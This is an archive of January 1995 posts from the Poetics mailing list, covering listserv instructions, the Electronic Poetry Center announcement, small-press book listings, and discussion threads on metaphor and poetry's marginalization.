Sat 7 Jan 1995

Welcome to the Poetics List.

Please note that this is a private list and information about the list should not be posted to other lists or directories. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list small and the volume managable. Word-of-mouth (and its electronic equivalents) seems to be working fine: please feel free to invite people you know to sign-up.

To see who is subscribed to Poetics, send an e-mail message to

[redacted]

body of your e-mail message type:

review poetics

(The shorter bitnet address is [redacted]. All further references to "Listserve" are to this listserve.)

message, with no subject line, to the listserv address:

{or}

I will be sent a notice of all subscription activity.

ARCHIVES

There are two ways to get archives, the second (see end of message) may be easier.

Anyone interested in an archive of all postings after March may send this message to "Listserve":

index poetics

or

index poetics f=mail

You will receive a list of archived files in a format that includes something like this:

* rec last - change * filename filetype GET PUT -fm lrecl nrecs date time

POETICS LOG9403 ALL OWN V 80 1012 94/05/31 07:17:17
Started on Mon,
7 Mar 1994 12:51:12 -0600
POETICS LOG9404 ALL OWN V 83 1864 94/05/31 07:18:54
Started on Sat,
2 Apr 1994 16:01:07 -050
POETICS NOTEBOOK ALL OWN V 640 1693 94/06/09 15:27:09
Started on Sun,
1 May 1994 09:47:10 -0500

You can then send the "get" command to "Listserve" in the format:

get filename filetype (eg: get poetics log9403
get poetics log9403
get poetics notebook)

or

get filename filetype f=mail

depending on which log file you want (you can also get multiple files with one message). Note that each of the files has a different beginning and end date, eg LOG9404 starts 7 March and goes to 31 May and that dates overlap. Go figure! "Poetics Notebook" is an anomalous name for what is, in effect, another log file.

****

Send an e-mail message to [redacted]. Leave the "Subject" line of the e-mail message blank. In the body of your e-mail message type:

subscribe e-poetry Firstname Lastname

where Firstname and Lastname correspond to your name.

You will receive a confirmation of your subscription soon thereafter. (Nonsubscribers can automatically sub to Poetics using this same format, but substituting "poetics" for "e- poetry".)

**

Date: Sun, 10 Jul 1994 19:14:05 -0400

From: Loss Glazier <[redacted]>
Subject: Announcement: Electronic Poetry Center (Buffalo)
To: Multiple recipients of list POETICS
<[redacted]>

The Electronic Poetry Center (Buffalo) 7-10-94

_____Announcement_____

THE ELECTRONIC POETRY CENTER (BUFFALO). The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center will provide access to numerous electronic resources in the new poetries including RIF/T and other electronic poetry journals, the Poetics List archives, a library of poetic texts, news of related print sources, and direct connections to numerous related poetic projects.

The Center's first phase of implementation is scheduled for August 1, 1994. A subscription to the E-Poetry list provides a subscription to the electronic journal RIF/T and E-Poetry Center announcements. Subscriptions to E-Poetry to [redacted] Inquiries, suggestions for Center resources, submissions to RIF/T, and other mail may be directed to [redacted] The Center is located at gopher://writing.upenn.edu/11/internet/library/e- journals/ub/rift (Presently, the prototype is under construction but operational.)

Gopher Access:
For those who have access to gopher, type
gopher writing.upenn.edu
(or, if you are on a UB mainframe, simply type wings)
at your system prompt. First choose Libraries &
Library Resources, then Electronic Journals, then E-
Journals/Resources Produced Here At UB, then The

Electronic Poetry Center. (Note: Connections to some
Poetry Center resources require Web access, though most
are presently available through gopher).

World-Wide Web Access:
For those with World-Wide Web or lynx access, type www
or lynx at your system prompt. Choose the go to URL
option then go to (type as one continuous string)
gopher://writing.upenn.edu/11/internet/
library/e-journals/ub/rift

___Participation in the Electronic Poetry Center (Buffalo)___

For those interested in helping us build the Center, our goal is to provide a single Internet site that offers a doorway into the different poetic projects out there in the electronic (and paper) poetics world. We would like to offer access to information about poetics and poetry activities, electronic poetry journals, texts in progress, etc. We are currently developing a library of electronic poetry/poetics texts (submissions to [redacted]. buffalo.edu). The Center has other exciting possibilities:

1. Circulation of electronic journals with an emphasis on direct links to those of relevance to Center concerns;
2. Reviews of recent print and electronic publications. (Brief reviews may also be submitted electronically to [redacted]);
3. Direct links to other related electronic sites;
4. Multimedia resources. Sound and graphics relating to poetry.
5. Building our Small Press Alcove, a place for little magazine and book announcements. The point of including announcements of paper resources is to provide a listing of interesting work for people to look at; they can then write or e-mail the publisher to obtain publications.

(Send announcements to [redacted] or magazines/books to Loss Glazier, E-Poetry, P.O. Box 143, Getzville, NY 14068-0143);

6. Ultimately, the Center could also offer collaborative projects (perhaps for specific groups of writers), lists and/or archives of other lists, and texts-in-progress, as things develop.

The "Buffalo" in the title of the Center is not meant to suggest that this activity is limited to Buffalo, only to give the "visitor" a sense of place, i.e., where the mainframe that's providing this service is "located." Vigorous writing wants to "circulate." On this new electronic terrain, the Electronic Poetry Center will serve as a gathering place or point of entry for a range of poetic efforts.

How to Contact Us

Please contact us with your suggestions, texts, sound files, and graphics files to submit, or if you have expertise in these areas. LET US KNOW WHAT YOU THINK (this is meant to be a Center that grows with your ideas) by posting to this list, sending mail to E-Poetry, or to Loss Glazier ([redacted]) or Kenneth Sherwood (v001pxfu.ubvms.cc. buffalo.edu) privately.

The Archive is administered in Buffalo by E-Poetry and RIF/T in coordination with the Poetics List.

Loss Pequen~o Glazier
for Kenneth Sherwood and Loss Glazier
in collaboration with Charles Bernstein
*****

Please contact me if you have any questions.

Charles Bernstein

↑ Index

38. Press Listings
Leslie Scalapino's DEFOE
Sun 8 Jan 1995

--Boundary (ID QzhTPcoSFEchzwbr98ykcw)--

↑ Index

39. Press Listings
Leslie Scalapino's DEFOE (2d try!)
Sun 8 Jan 1995

New from Sun & Moon Press (6026 Wilshire Boulevard, Los Angeles, CA 90036) distributed by Small Press Distribution, Consortium, and at select bookstores

DEFOE, by Leslie Scalapino,

Classics 46, 365 pages, $12.95; ISBN # 1-55713-163-5

DEFOE, Leslie Scalapino's new fiction, is an epic where images of battle become meditations, an epic wherein events flap in silence as the narrative moves toward a place where the reader and text become one. The images of this fiction don't resemble events, but are new occurences in time and space. In Part I, Waking Life, the heroine, in love with James Dean, discovers herself in a desert pocked with fires in which the "henna man"- a drug dealer- is being carried in a white cocoon. And throughout Scalapino's work the reader is taken into a world where the written word creates " an event retrieved from so far

back that it is separated from its memory." While not resembling reality/history, the fictionalizing induces the simplest movement possible in its whole expanded, unique structure, to change real past and present.

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40. O Books c/o

New O Books

Sun 8 Jan 1995

New O Books

O Books, 5729 Clover Drive, Oakland, CA 94618; & Small Press Distribution, 1814 San Pablo Ave. Berkeley, CA 94702. E-mail inquiries c/o [redacted]

Memory Play, Carla Harryman, 72 pages, $8.50. ISBN # 1-882022-22-x. In Memory Play, one is neither fixed in a memory nor is one in the (non-reactive) politicized moment of the present without memory. The child-non-innocent Pelican, Child, Reptile, and Fish, of Carla Harryman's play are lucid Alices (in Wonderland) observing history which as if backwards is creating phenomena. Harryman's play creates a state that is non/innocent in that it is our real present in our really being innocent, rather than an idea of such in a myth state of 'Garden of Eden.' Steve Benson says: "Suppose you had a dream life and woke up not a person interested in telling as a story what you could recall of it as it coudl be translated and tricked into the words and images of a narrative that made sense by referring to the things of this world as your interlocutor knows them as well as you do but woke rather or also as a polyvocal projection of theater articulating time and personality and politics in idiosyncratic motion and congruence much as clouds and birds in flight make sense to that visionary in you.....

Collision Center, Randall Potts, 72 pages. $9.00. ISBN # 1-882022-19-X. This is a first book by a young poet creating multiple narratives in a collision of lyrical and hard tones, isolating words and tones in order to allow their actuality, effectively to allow them to occur. Ann Lauterbach comments: "In Randall Potts' poems, nature and language collide, and then proceed, each having been transformed by the other. ... We witness the newly manifest being carried away on the stark clarities of his lines, "watchlessly dis-figuring / what remains to be seen." There is gratitude and there is terror: here they embrace.

MOB, Abigail Child, 96 pages. $9.50. ISBN # 1-882022-21-1. Child's writing scrutinizes the factor of need, our "making need / the figure they want," as the mind's need as contemplation of lust touching a civilization. Bruce Andrews comments about MOB: "Only the impossible is intimate enough." She creates a form that isn't landscape yet is a visible reverberation, "the sky is

drunk with ... The center in front of the future," realistic and filmic in that the non-landscape is "frames (which) hit the screen/dependent on the intent", thus subject and object of their own scrutiny and direction which is motivation. Kevin Killian comments: "her new book is a fiery J'Accuse against a war-fueled heterosexist Uberhaus that flaunts "the privilege of a window ignoring its cost." She has always been a provocative poet and thinker, but now she writes her twin obsessions into transparence. Between the words vast flamethrowers aimed by angels singe and give off steam."

GROUND AIR, Scott Bentley, xerox 59 pages, $6.00. ISBN # 1-882022-23-8. A first book by a young poet about whose work Jennifer Moxley comments: "As for AIR, so what if we continue to build our loves on the banks of sorrowful Ilion, stolen kisses and all that. At least Scott, like Dido, knows there's more to life than duty. After all, those paleolithic bison were so real you could've hunted them and this language is so true that it runs a body amuck. In both we find the inherent vulgarity of the natural, where every key or brush stroke makes desire's ineffable history more seductive." Kit Robinson says: "Then, having established this deceptively enveloping GROUND, Bentley takes off into AIR, constructing intimate spaces where 'Everything's / tender and sudden.'"

↑ Index

41. Chris Stroffolino
Re: motives for metaphor
Sun 8 Jan 1995

Marisa (Januzzi)- I wasn't going to reply because I too feel "at a loss" when it comes to "recommended readings" on the huge subject of political content of poetic form. It's not because of a dearth of material but because of a plenitude. It's so prevalent an issue in most of what I read to have run the risk of becoming a BLASE issue. At least IN THEORY. Yet theory is only as "good" as its praxis, its enactment. So I work by a case-by-case basis here in quoting this just because I happen to be reading it at the time (not that I mean to irresponsibly claim it's a mere arbitrary issue of 'taste'): In Carla Harryman's VICE, page 28, and 29, she writes: "and he went over to talk to his linguist friend, George Lakoff, about the sense of finality evoked by the word LAND when what he was really looking for was more like some forward moving limbo. George, however, counseled him against zombielike, trancelike conditions. If LAND ended the matter, then move out of the house. The boy looked at George, "You're thinking in metaphors and I thought you tore them apart." George told him that he was human just like everybody else." I read Lakeoff's METAPHORS WE LIVE BY over ten years ago, and my memory is extremely vague of it. IS HE TAKEN

SERIOUSLY by any of you, or is his mode of thinking facile and discredited? Just curious. Chris Stroffolino

↑ Index

42. Patrick Phillips

Congressional E-mail addresses

Mon 9 Jan 1995

The following list of House/Senate E-Mail addresses can be found at:

gopher://una.hh.lib.umich.edu/11/socsci/poliscilaw/uslegi

and was retrieved on 1-9-95. There were very few Senate addresses available, but there is more senate information available at the same gopher site.

CONGRESSIONAL E-MAIL ADDRESSES
104th Congress
1995/96

United States Senate

ST	Name	E-Mail Address
ID	Craig, Larry	[redacted].
IL	Simon, Paul	[redacted]
MA	Kennedy, Ted	[redacted]
	(www home page: http//www.ai.mit.edu/projects/iiip/ Kennedy/homepage.html)	
NM	Bingaman, Jeff	[redacted]
VA	Robb, Charles	[redacted]
VT	Leahy, Patrick	[redacted]
VT	Jeffords, Jim	[redacted]

United States House of Representatives

http://www.house.gov
http://thomas.loc.gov

ST	DS	Name	E-Mail Address
AR	4	Dickey, Jay	[redacted]
AZ	2	Pastor, Ed	[redacted]

CA 7 Miller, George [redacted]
CA 12 Lantos, Tom [redacted]
CA 13 Stark, Pete [redacted]
CA 14 Eshoo, Anna [redacted]

CO 2 Skaggs, David [redacted]

CT 2 Gejdenson, Sam [redacted]
CT 4 Shays, Christopher [redacted]

FL 6 Stearns, Cliff [redacted]
FL 12 Canady, Charles [redacted]
FL 20 Deutsch, Peter [redacted]

GA 6 Gingrich, Newton [redacted]

IL 14 Hastert, Dennis [redacted]

KA 1 Roberts, Pat [redacted]

MI 3 Ehlers, Vernon [redacted]
MI 4 Camp, Dave [redacted]
MI 14 Conyers, John [redacted]

MN 3 Ramstad, Jim [redacted]

NC 7 Rose, Charlie [redacted]
NC 11 Taylor, Charles [redacted]
NC 12 Watt, Mel [redacted]

ND Pomeroy, Earl [redacted]

NJ 12 Zimmer, Dick [redacted]

NY 7 Manton, Thomas [redacted]
NY 23 Boehlert, Sherwood [redacted]
NY 27 Paxon, Bill [redacted]

OH 2 Hoke, Martin [redacted]

OK 5 Istook, Jr. Ernest [redacted]

OR 1 Furse, Elizabeth [redacted]
OR 4 DeFazio, Pete [redacted]

PA 16 Walker, Robert [redacted]

TX 3 Johnson, Sam [redacted]
TX 6 Barton, Joe [redacted]

VA 6 Goodlatte, Bob [redacted]
VA 9 Boucher, Rick [redacted]

VT Sanders, Bernie [redacted]

U.S. House of Representatives Committees

Education and Labor
Subcommittee on Labor-Management Relations
[redacted]

Natural Resources
[redacted]

Science, Space, and Technology
[redacted]

The above information was compiled from the Senate and House Gophers.

Corrections/additions to [redacted]
1-3-95

↑ Index

43. krickjh
Congress
Mon 9 Jan 1995

Here is the reply from Jim Warren, proprietor of the
GovAccess list:

> *Last year's list is archived at cpsr.org . I have asked*
> *[redacted] for a current copy, but have not*
> *yet received a*
> *reply. Ask 'em, too! :-)*
>
> *Also, you might check the new web server reputedly at:*
> *http://thomas.loc.gov , the "Thomas Jefferson" site at the*
> *Library of Congress.*

I GUESS cpsr.org is an FTP site. I'm going to look into both of these and I'll tell ya what I find!

John Krick

↑ Index

44. Tom Mandel
Re: New Electronic Poetry Center Features
Mon 9 Jan 1995

You mention Web features, but there's no http url listed.

tom mandel

↑ Index

45. Tom Mandel
Re: motives for metaphor
Mon 9 Jan 1995

George Lakoff's work is certainly taken seriously and is well worth attending to. Although METAPHORS WE LIVE BY is still a worthwhile place to start, GL has two other books which should not be missed:

Women, Fire, & Dangerous Things (University of Chicago Press) and More Than Cool Reason (can't put my hand on my copy in mess at hand, so no pub. listed, but I think it is also u of c press)

More... is co-authored by Mark Turner, whose READING MINDS (Princeton U Press) is also well worth reading. Think of the dep't of english as a part of cognitive studies.

Good luck. I might mention that the study of theory in regard of its core subject matters of mathematics, physics, etc. (and of philosophy of science) is a more rewarding activity, in my experience at least, than time spent with the "theory" movement in american academic writing. In '92 I spent a while reading thru this latter corpus of mat'ls, reading something by everybody in the big Literary Theory compilation (pub. - *again!* u of c?) and a dozen or so other books (not scrupulously read, but tried). This reading project resulted in a trimester of extreme depression, and I do not recommend it to anyone.

tom Mandel

↑ Index

46. Loss Glazier
Re: New Electronic Poetry Center Features
Mon 9 Jan 1995

> *You mention Web features, but there's no http url listed.*

Tom,

> *World-Wide Web and Mosaic Access:*
> *For those with World-Wide Web (lynx) or Mosaic access,*
> *from your interface, choose the go to URL*
> *option then go to (type as one continuous string)*
> *gopher://writing.upenn.edu/11/internet/*
> *library/e-journals/ub/rift*

Perhaps I should be clearer in this "flyer" I regularly send out but the url you would enter would start with "gopher" in the expression above. Try it; it works! In fact the web version has begun to evolve as much more useful. (Why the dichotomy in terms, I don't know but apparently you don't have to have an http to have web access.) If any snags, please feel free to let me know, on or off the

list. For those with a graphical interface, there are increasingly more graphics, etc., as in decorating the home.

↑ Index

47. O Books c/o

O Books List

Tue 10 Jan 1995

O Books List:
O Books: fax: [redacted]. 5729 Clover Drive, Oakland, CA 94618.
Small Press Distribution: 1814 San Pablo Ave. Berkeley, CA 94702.

RETURN OF THE WORLD, Todd Baron, $6.50
GROUND AIR, Scott Bentley, $6.00
A CERTAIN SLANT OF SUNLIGHT, Ted Berrigan, $9.00
TALKING IN TRANQUILITY: INTERVIEWS WITH TED BERRIGAN, Avenue B and O Books,
$10.50
MOB, Abigail Child, $9.50
IT THEN, Danielle Collobert, $9.00
CANDOR, Alan Davies, $9.00
TURN LEFT IN ORDER TO GO RIGHT, Norman Fischer, $9.00
PRECISELY THE POINT BEING MADE, Norman Fischer, $10.00
TIME RATIONS, Benjamin Friedlander, $7.50
BYT, William Fuller, $7.50
THE SUGAR BORDERS, William Fuller, $9.00
PHANTOM ANTHEMS, Robert Grenier, $6.50
WHAT I BELIEVE TRANSPIRATION/TRANSPIRING MINNESOTA, Robert Grenier, $24.00
THE INVETERATE LIFE, Jessica Grim, $7.50
MEMORY PLAY, Carla Harryman, $8.50
THE QUIETIST, Fanny Howe, $8.00
VALUES CHAUFFEUR YOU, Andrew Levy, $9.00
CURVE, Andrew Levy, $10.00
DREAMING CLOSE BY, Rick London, $6.00
ABJECTIONS, Rick London, $4.00
DISSUASION CROWDS THE SLOW WORKER, Lori Lubeski, $7.50
CATENARY ODES, Ted Pearson, $6.00
COLLISION CENTER, Randall Potts, $9.00
(WHERE LATE THE SWEET) BIRDS SANG, Stephen Ratcliffe, $8.00
VISIBLE SHIVERS, Tom Raworth, $8.00
KISMET, Patricia Reed, $8.00
COLD HEAVEN, Camille Roy, $9.00

O ONE/AN ANTHOLOGY, ed. Leslie Scalapino, $10.50
O TWO/AN ANTHOLOGY: WHAT IS THE INSIDE, WHAT IS OUTSIDE?, $10.50
O/3: WAR, $4.00 (OUT OF PRINT)
O/4: SUBLIMINAL TIME, $10.50
CROWD AND NOT EVENING OR LIGHT, Leslie Scalapino, $9.00
THE INDIA BOOK: ESSAYS AND TRANSLATIONS, Andrew Schelling, $9.00
A'S DREAM, Aaron Shurin, $8.00
PICTURE OF THE PICTURE OF THE IMAGE IN THE GLASS, Craig Watson, $8.00

Forthcoming in 1995:

CLOSE TO ME & CLOSER ... (THE LANGUAGE OF HEAVEN) and DESAMERE, TWO BOOKS,
Alice Notley
VEL, Peter Inman
LAPSES, John Crouse
THE DISPARITIES, Rodrigo Toscano
THE HISTORY OF THE LOMA PEOPLE, Paul Degein Korvah, (History: Liberia)

↑ Index

48. krickjh
Re[2]: New Electronic Poetry Center Features
Tue 10 Jan 1995

Gopher vs. http:

> *(Why the dichotomy in terms, I don't know but apparently you don't have to have an http to have web access.)*

RE: the dichotomy in terms, Gopher refers to an earlier menu-driven, mostly text-only interface to the net. Http addresses reference World Wide Web sites that can deliver graphics sound and video. You can access either type of site using a browser such as Mosaic, but Gopher can be accessed with very minimal machine resources as well. You cannot access Web sites and get the full functionality without a graphical browser however.

John Krick

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49. Steven Howard Shoemaker

JRNL: Poetry on the Margins, cont. (fwd)

Tue 10 Jan 1995

Forwarded message:
From daemon Tue Jan 10 10:53:13 1995
Date: Tue, 10 Jan 1995 09:49:47 -0500
From: "[redacted] \"Randy Bass\"" <[redacted]
Subject: JRNL: Poetry on the Margins, cont.
To: Multiple recipients of list T-AMLIT <[redacted]>

JRNL: T-AMLIT JOURNAL

From: IN%"[redacted]" "Carter C. Revard" 9-JAN-1995 14:54:57.
25
Subj: RE: JRNL: Poetry on the Margins, cont.

With regard to Shoemaker's further remarks and Silliman's contributions, maybe a few more comments might buzz along the web from here and draw some interest from whoever "lives along the line," as Pope and his classical ancestors have put it. First, is it not interesting that "poets" have their separate web? Is it not also interesting that networkers can assume those of us etherized on this part of the table are professors NOT poets, while those in the poet-hammock hangup of this network ARE poets, whether professors or not? Does anyone think this kind of compartmenting is part of the reasons poets and poetry are perceived as marginalized? Second, since a poet has asked the question of what the metaphor of margins is supposed to mean, let me respond--as medievalist, teacher of American Indian Literature, and practicing poet--that I believe the basic metaphor is that of TEXT vs. MARGIN, and I take it that in the medieval period the text was that "woven" part of the page's words, while the margin was the place outside the weaving, where space was "free." One way "progress" took place, that is, people invented an idea called the Renaissance and relegated the medieval period to a meaningless dark MIDDLE AGES unlike the clean well-lighted humanistic Sixteenth Century of enlightened popes, holy Roman Emperors, reformed bishops and kings able to marry all they wanted, and so on--one way was to turn the marginalized things of the previous age into the textualized central part of the page. Instead of the Virgin Mary, they looked at models for the Virgin Mary, instead of a human image representing a cosmos, they looked at the image as representing an individual unlike all others. You no longer talked of a soul, you talked of a self--in English, that is, a language in which it was possible to take the former pronominal intensifier and turn it into a noun and let it carry the responsibilities which a soul had earlier had to bear. You invented psychology. You invented a blank table on which the senses wrote you you you. (Well

maybe you didn't do this, and neither did I, but it seems kind of nasty to keep blaming THEM for it, so I am giving you the honor of riding out of the Middle Ages on the rail of Self.) So anyhow, I take it that behind all the political discourse of margins there is the original textual discourse, the manuscript making, the writerly image. Does that make sense? It should please any language poet, should it not?

But there is another assumption I'd like to look at. Someone pointed out very usefully that poetry requires readers to learn the culture inscribed within it, before the poems make sense. Is this not also true of prose? Is it not true of the Dick and Jane readers, as well as of the James and Nora or Tom and Viv or Emily and God anthologies? Is it not true of any human utterance, or lifting of an eyebrow? I suspect therefore that it does not differentiate poetry from the rest of the noises off or on the page or stage or CD-ROM.

I was thinking about this particular Silver Screen Dialogue as I was looking up, yesterday, the pseudo-Albertus Magnus Book of Secrets, in which I finally found (having looked off an on since 1980 or so) the probable source of a Latin excerpt copied about 1340 in or near Ludlow by a scribe who was a minor lawyer and probably a chaplain there. The excerpt occurs on fol. 137r of BL MS Harley 2253, and its two parts describe the herbs heliotrope (marigold) and celandine. Of heliotrope it is said that whoever gathers it in summer, when the Sun is in the Virgin, i.e. in August, and rolls it in a laurel leaf and adds the tooth of a wolf, will be able to pacify all opponents with his discourse; also, if anything has been stolen from him, and he lays this under his head at night, he will see the thief and perceive all the thief's circumstances. Further, if one places this leaf etc. inside a church within which are women who have committed adultery, none of the women shall have power to go out of that church without confessing to it. Of celandine, we are told that if one wraps it around the heart of a mole, one will successfully overcome all opponents in discourse, even litigation; and if one places the celandine and mole-heart under the head of any sick person, then if that person is fated to die he or she will begin to sing loudly, but if fated to recover will begin at once to weep. What, you may ask, has this to do with the difficulty of reading poetry, or with the alienation of poetry's audience, or with marginalizing of poetic discourse? Well, there is a poem in this manuscript (Harley 2253--in case you are interested, there is a facsimile that is Early English Text Society No. 255, 1964, edited by the great paleographer N. R. Ker; and there is an edition of the famous "Harley Lyrics" from this manuscript by G. L. Brook, as well as by various other scholars), which consists of five stanzas in each of which the poet compares the lady he is praising to something beautiful and wholesome: in stanza one, to various gems; in two, to flowers and herbs (including celandine and marigold--solsecle is the poet's term for the latter, which is derived from the Latin

Solsequium that occurs in the latin excerpt I have mentioned above); in three, to birds; in four, to medicinal herbs or potions; and in five, to heroes and heroines of "romances" including Welsh, Germanic, and French prose and poetry.

By now you have guessed that my point is how obscure and difficult this poem must be. It is also heavily alliterative, obviously a highly ornate piece of poetry. But one of the nicest things about it is that its poet has found a very clever way to both conceal and give away the name of the lady he is praising--I should add that in such poems, the medieval writers usually make it a taboo to name the lady, since a courtly lover's affair is actually not supposed to be made public except so far as the pair of them show the symptoms of love, and the man is allowed to "complain" in a GENERAL way, naming no names. This poet, however, has managed to name his beloved in a riddling way, in the third stanza when he is comparing her to birds: HIRE NOME IS IN A NOTE OF THE NYHTEGALE, IN ANNOTE IS HIRE NOME: NEMPNETH HIT NONE! WHOSO RIGHT READETH, RUNE TO JOHON! The clever reader or listener will easily see that the lady's name is Annote, and any medieval or medievalist with half a brain would know that that is a pet name or nickname for Agnes, so the poet is saying: Listen up now and you'll hear her name--and when you get it, whisper it to John!

I think the poet could certainly expect his readers (it may have been HER readers, though we have little evidence for women lyricists in the 1300's; little is not NONE!) to get the riddle. But at that point we have another question: what's the poet doing breaking this taboo? I think the answer is that the poem is addressed to, and intended for reading aloud to, a courtly audience of men and women, and that the names Agnes and John were very common names--so that a given audience might have several women and men with those names. The "answer" would therefore become a "debate topic", and not only WHICH Agnes, but which JOHN for which Agnes, would be debated. Can we now go back to that Marigold and Celandine? The poet expects his audience to understand that the lady is not merely like flowers of various colors and fragrances, but flowers and herbs and gems and birds and medicines of various powers--reputed or real, credible or just "interesting" is not certain, according to Lynn Thorndike's History of Science account of the pseudo-Albertus Magnus BOOK OF SECRETS in which the powers of celandine and marigold are explicated, and from which the Harley 2253 scribe carefully copied those passages. The audience would not only know this plant-lore and gem-lore and bird-lore (and star-lore, since the gems and plants linked to Zodiac), but would presumably have the romances all by heart so that comparing the lady to their heroes and heroines would make as much sense as our references to Hamlet or Portia or Oedipus or Prufrock.

SO, AS I SAY, I was thinking about this question of marginalizing poetry yesterday as I was dinking about the Science and History of Science shelves trying to get a little footnote finished. But you know, one reason I was doing that was that I had just read Gayle Margherita's new book on medieval literature, all the Lacan and Freud and Marx and such, and been greatly interested by her marvelous hammerlock on the poet of ANNOTE AND JOHON, who clearly was a patriarchal bastard if ever there was one. And I was the more interested because she cited Daniel Ransom's earlier book on the Harley Lyrics in which he claimed there are all sorts of obscene puns in ANNOTE AND JOHON, and it was a little hard to tell whether she thought Ransom was right or thought he was worse than the Harley Lyricist. Anyhow it occurred to me that one reason we may have a lot of non-readers of poetry is that we have convinced so many potential readers that they have to ask a professor before daring to dip into any collection of real literature. And once we ask, we are treated to an incredible pile of unbelievable interpretations, all of burning importance, all proving that every medieval poet was John D Rockefeller plus John Gacy plus the Marquis de Sade plus Faulkner's Popeye, at least when not proving that the poets were really (according to D. W. Robertson of blessed Princetonian memory) John Knox or a Polish Pope. So it is just possible that professors have marginalized their texts pretty athletically. Having perfected an Explanation Factory, having apprenticed all readers to this factory and seen to it that they are chained to the sewing machines fabricating not glosses or footnotes but literary bi-ogre-phy, we have committed them to reading poetry, fiction, essays, newspapers, laws as projections of the psyches of damaged tyrants and misers and sociopaths of various talents and inclinations.

Well, maybe that is just auld, lang, and syne.

But having got into the Science section of our library, and actually found a book on the shelf that was said by the computer system to be there, and got the footnotes, and read the intelligent and interesting discussion by Margherita (U of Penn Press, 1994; well worth reading, lots besides the problematic misreading of the Harley Lyrics), and so on, I managed to get a copy of the magazine SCIENCE and look at its piece casting doubt on the existence of Black Holes (Jeez, how to write a headline for THAT?!) and another on the anniversary of Oncogene Research in which Harold Varmus, head of NEH and recent Nobelman for that work, had a few things to say and I was reflecting on what a good student of English Literature Varmus had been at Amherst College when I was a junior instructor there. And I kept thinking, you know, if I pick up SCIENCE, I expect to get news, some surprises, some revisions. If I pick up a journal of poetry I don't expect that. Is that maybe one reason people don't pick up poetry journals? But of course scientists complain of being

marginalized too. I read that 14.7% of Math Ph.D.'s are going unemployed. Wonder what kind of poet Harold Varmus would have made?

You must have asked me the question I am about to answer: How to get back into the text people read? The answer is: be a good host. You let some of the guests tell stories too. You answer questions, you bring other characters onto the show. You treat readers as guests, and not as unworthy approachers of your throne. I bet this will make quite a few readers--especially some who class themselves as poets--mad as hell. I bet the romantic view of poets as dictating rather than as entertaining is still the going thing. I bet the view of readers as not deserving of the wonderful stuff poets are writing is the common one. I bet poets still think of themselves as abused victims of the Philistine masses. And of course the damnable truth is that I write what I please and invent, afterwards, excuses, rationales, explanations which may have little to do with motives and techniques and processes of the actual writing. Still, it seems to me poetry is intended to be a shared thing, a way of getting together with people and things and creatures, not a way of walling out or walling in only. A really great poet should do what Shakespeare did, or Dickens, take a popular medium and make it bear great poetry. The rest of us can try to do that and no doubt fall way short. But I still think if we do it right people will laugh with us, go up the mountain with us, because they will find our words help them, speak to them, make sense of experience they know personally and closely. Sometimes it even seems that really good poetry is whatever people read for themselves because they need it. But that would allow the directions for microwaving a tuna casserole to be poetry, I suppose.

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50. Steven Howard Shoemaker

JRNL: Poetry on the Margins, cont. (fwd)

Tue 10 Jan 1995

Forwarded message:
From daemon Tue Jan 10 10:35:40 1995
Date: Tue, 10 Jan 1995 09:48:37 -0500
From: "[redacted] \"Randy Bass\"" <[redacted]
Subject: JRNL: Poetry on the Margins, cont.
To: Multiple recipients of list T-AMLIT <[redacted]>

JRNL: T-AMLIT JOURNAL

Two more contributions to the lively thread relfecting on the marginalization (alleged?) of poetry within the academy.
RB
****

(1)
From: IN%"[redacted]" "Anthony R Petrosky"
Subj: RE: JRNL: Poetry on the Margins, cont.

I would like to respond to a few things Ron Silliman mentions in his reponse to our responses to the Poetry on the Margins questions. I thought his comments on the communities of poets helps a lot. They are everywhere, in towns and boroughs, on electronic boards, in letters that they exchange with each other. More so I suspect than 10 or 20 years ago and I take that as hopeful. I'm not as interested as he is, though, in setting up good guys and bad guys in the language of the establishment poets and the others, more particularly the Language Poets. I remember being very excited about what was happening in Language Poetry when Ironwood did an issue devoted to the work, but itdidn't seem to me then nor does it seem to me now that Language Poetry needs to have the establishment to stand against in order to be language poetry in the Objectivist tradition and to extend that tradition. I feel thesame way, for example, about Gluck and Olds. They represent different traditions, different extensions of those traditions, but they don't need to position the other as the blackhat in order to be credible. The philosophy and language of each is not the others but so what. I think of a recent poem by Elaine Equi that goes like this: PRESCRIPTION

Take Herrick
for melancholy

Niedecker
for clarity

O'Hara
for nerve

The poem, for me, says there are different things totake fromm differnt poets. So the, for teaching, it becomes a question ofhowto putbefore my students, most of whom are not readers of poetry or fiction, contemporary poetry so that they would be willing to contiue to read and perhaps to write it. Ithink then of letting them see the difference rather than, say, presenting them with just my preferences, and letting them write and talk about the difference to see for themselves what might be available to them from modern poetry. Sure I have a theory of organization and history, as Ron points out, and I can certainly see his suspicion of it as I would be suspicious of other teachers and their agendas if I had one I was proposing over others, but it isnot ppossible to not have, even in the slightest way, a theory of organization and history. At best, I think, I can see mine, such as it is, and be up front with my students about where I come from and how I organize.

This is a related problem to thinking about teaching any texts, it seems. I don't want it to prevent me from presenting modern poetry to my composition students or my intro. to lit. students or my school of Ed. students who want to be secondary teachers. Most of them know almost nothing about poetry. They have smatterings of Frost, Whitman, and Emily Dickinson in them, but what they have read usually stops there. The don't kow about the communities of writers in magazines like AMERICAN VOICE or the ST.MARKS POETRY PROJECT NEWSLETTER. So it's not that I would propose that there is a "defining privilege for the classroom in determining the answer to the question" of why poetry is marganilized but thatI would propose the classroom, all kinds of classrooms (e.g., religious studies, composition, educational methods, and so on)as places where poetry can be a part of the curriculum to address questions in those subjects and areas, to be, that is, a part of the conversations of thinking about, say, soul, or language and culture, or American traditions.

It is within thiscontext, the one that has to do with speaking to my collelagues about why I might include poetry in these courses, that I locate the problem of poetry on the margins. THe other issues, the unchanged state of distribution of poetry, Bill Moyers and Robert Bly, the creation of good guys and bad guys in poetry weren't my subjects in the last postings, although those seem to me to be certainly related issues. My expeerience is that my colleagues, college and secondary English teachers, by and large are not familiar with the vaariious traditions and commnities of poets or fiction writers, and I'm interested in how this might be changed and I see a place to begin in my immediate teaching by positioning poetry as a serious voice avaailble to my students. I still don't see theusefulness of fractionalism. As poets it is possible to discuss poetry that is not the poetry we write or prefer without positioning it to be establishment, representative of larger social forces, bad, and so on. The difference is a place for discussion rather than dissmisal. In the movesof dismissal and disparagement the new boss--the culturall critique--is the old boss--New Critical critique--with another name and another set of terms. It'sthe same end game: who shall be judged or critiqued the true (and we all know about the will to truth now, don't we, from Foucault for instance), with the same divisiveness, and I don't think that helps poetry communities, poetry, or my thinking about howto present poetry 